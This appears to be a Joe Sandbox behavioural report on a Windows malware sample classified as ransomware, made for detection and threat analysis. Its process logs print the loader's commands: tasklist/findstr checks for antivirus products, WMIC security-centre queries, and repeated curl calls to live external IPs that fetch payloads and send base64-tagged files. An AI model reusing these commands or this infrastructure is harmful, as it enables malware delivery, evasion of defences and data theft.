Source: vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp, Ur.pif, 0000000A.00000000.1743568156.00000000006D9000.00000002.00000001.01000000.00000006.sdmp, Million.0.dr, Ur.pif.1.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: RevenueDevices.exe, 00000056.00000003.3042089063.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Disco.86.dr, Either.pif.90.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: azvw.exe, 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmp, zip.exe.50.dr	String found in binary or memory: http://www.info-zip.org/
Source: azvw.exe, 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmp, azvw.exe, 00000032.00000000.2764607506.000000000041E000.00000002.00000001.01000000.00000007.sdmp, azvw.exe, 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmp, zip.exe.50.dr, azvw.exe.10.dr	String found in binary or memory: http://www.info-zip.org/zip-bug.html;
Source: PsInfo64.exe.50.dr, PsInfo.exe.50.dr	String found in binary or memory: http://www.sysinternals.com
Source: vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp, RevenueDevices.exe, 00000056.00000003.3042089063.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Million.0.dr, Ur.pif.1.dr, Disco.86.dr, Either.pif.90.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Either.pif.90.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp, RevenueDevices.exe, 00000056.00000003.3042089063.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Million.0.dr, Ur.pif.1.dr, Disco.86.dr, Either.pif.90.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	File created: C:\Users\user\AppData\Local\Temp\Bracket entropy: 7.99828269179	Jump to dropped file
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	File created: C:\Users\user\AppData\Local\Temp\Chairman entropy: 7.99705670912	Jump to dropped file
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	File created: C:\Users\user\AppData\Local\Temp\During entropy: 7.99782535181	Jump to dropped file
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	File created: C:\Users\user\AppData\Local\Temp\Asked entropy: 7.99749706703	Jump to dropped file
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	File created: C:\Users\user\AppData\Local\Temp\Leaving entropy: 7.99804343585	Jump to dropped file
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	File created: C:\Users\user\AppData\Local\Temp\Perhaps entropy: 7.99302030214	Jump to dropped file
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	File created: C:\Users\user\AppData\Local\Temp\Label entropy: 7.99832006496	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\139918\v entropy: 7.99961760371	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	File created: C:\Users\user\AppData\Roaming\DolphinDumps\xhwq.zip entropy: 7.99812683975	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Showcase entropy: 7.99817987302	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Parts entropy: 7.99745443978	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Bailey entropy: 7.99784242676	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Samples entropy: 7.99803767944	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Considerations entropy: 7.99749833976	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Shepherd entropy: 7.99642551519	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Eight entropy: 7.99641122578	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Norman entropy: 7.99777953585	Jump to dropped file

Source: curl.exe	Process created: 48
Source: cmd.exe	Process created: 60

System Summary

Writes or reads registry keys via WMI

Source: C:\Windows\SysWOW64\systeminfo.exe

WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,		0_2_00403883
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 86_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,		86_2_00403883

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	File created: C:\Windows\EthnicEffect	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	File created: C:\Windows\LoWeed	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	File created: C:\Windows\BeastalityGtk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Windows\TmpMoon
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Windows\NotifiedAaron
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Windows\BrushSub
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Windows\McLol

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_00408850	50_2_00408850
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_0040C820	50_2_0040C820
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_00411170	50_2_00411170
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_0040E900	50_2_0040E900
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_0040CE49	50_2_0040CE49
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_0040CE50	50_2_0040CE50
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_00402210	50_2_00402210
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_00408EC0	50_2_00408EC0
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_00417EE3	50_2_00417EE3
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_0040F280	50_2_0040F280
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_00409FD0	50_2_00409FD0
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_004093E0	50_2_004093E0
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 86_2_0040497C	86_2_0040497C
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 86_2_00406ED2	86_2_00406ED2
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 86_2_004074BB	86_2_004074BB

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\139918\Ur.pif D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD

Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: String function: 004062A3 appears 58 times
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Code function: String function: 004062A3 appears 58 times
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: String function: 00412920 appears 282 times
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: String function: 00406640 appears 48 times

Source: PsInfo.exe.50.dr	Static PE information: Resource name: BINRES type: PE32 executable (console) Intel 80386, for MS Windows
Source: PsInfo64.exe.50.dr	Static PE information: Resource name: BINRES type: PE32+ executable (console) x86-64, for MS Windows

Source: vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameAutoIt3.exeB vs vqMMwqCFZQ.exe

Source: vqMMwqCFZQ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.rans.spre.evad.winEXE@298/62@1/2

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe

Code function: 50_2_00412830 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,LookupPrivilegeValueA,GetLastError,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,CloseHandle,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,

50_2_00412830

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe

0_2_004044A5

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif

File created: C:\Users\user\AppData\Roaming\DolphinDumps

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1376:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4460:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4824:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4468:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5236:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6020:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5968:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3068:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4556:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4924:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1284:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1352:120:WilError_03

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe

File created: C:\Users\user\AppData\Local\Temp\nsnDDCD.tmp

Jump to behavior

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Trees Trees.bat & Trees.bat

Source: vqMMwqCFZQ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: vqMMwqCFZQ.exe

ReversingLabs: Detection: 66%

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe

File read: C:\Users\user\Desktop\vqMMwqCFZQ.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\vqMMwqCFZQ.exe "C:\Users\user\Desktop\vqMMwqCFZQ.exe"
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Trees Trees.bat & Trees.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 139918
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "SyntaxMilesImperialTriple" Credits
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Asked + ..\Leaving + ..\During + ..\Chairman + ..\Bracket + ..\Label + ..\Perhaps v
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\139918\Ur.pif Ur.pif v
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName > C:\Users\user\AppData\Local\temp\807 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\807 > C:\Users\user\AppData\Local\temp\237
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dxjyu" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\dxjyu" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dhmio" "178.215.224.74/v10/ukyh.php?jspo=5"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\dhmio" "178.215.224.74/v10/ukyh.php?jspo=5"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fprwf" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fprwf" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\nhrsa" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\nhrsa" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\rrmou" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\rrmou" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fofqx" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fofqx" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\zxfdn" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\zxfdn" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gvhdi" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\gvhdi" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C cd "C:\Users\user\AppData\Roaming\DolphinDumps" & azvw.exe -o xhwq.zip
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe azvw.exe -o xhwq.zip
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\agadw" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\agadw" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\mncym" "178.215.224.74/v10/ukyh.php?jspo=31"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\mncym" "178.215.224.74/v10/ukyh.php?jspo=31"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C systeminfo \| findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /C:"OS Name"
Source: C:\Windows\SysWOW64\systeminfo.exe	Process created: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\lyvbm" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\lyvbm" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dxmcp" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\dxmcp" "178.215.224.74/v10/ukyh.php?jspo=6"
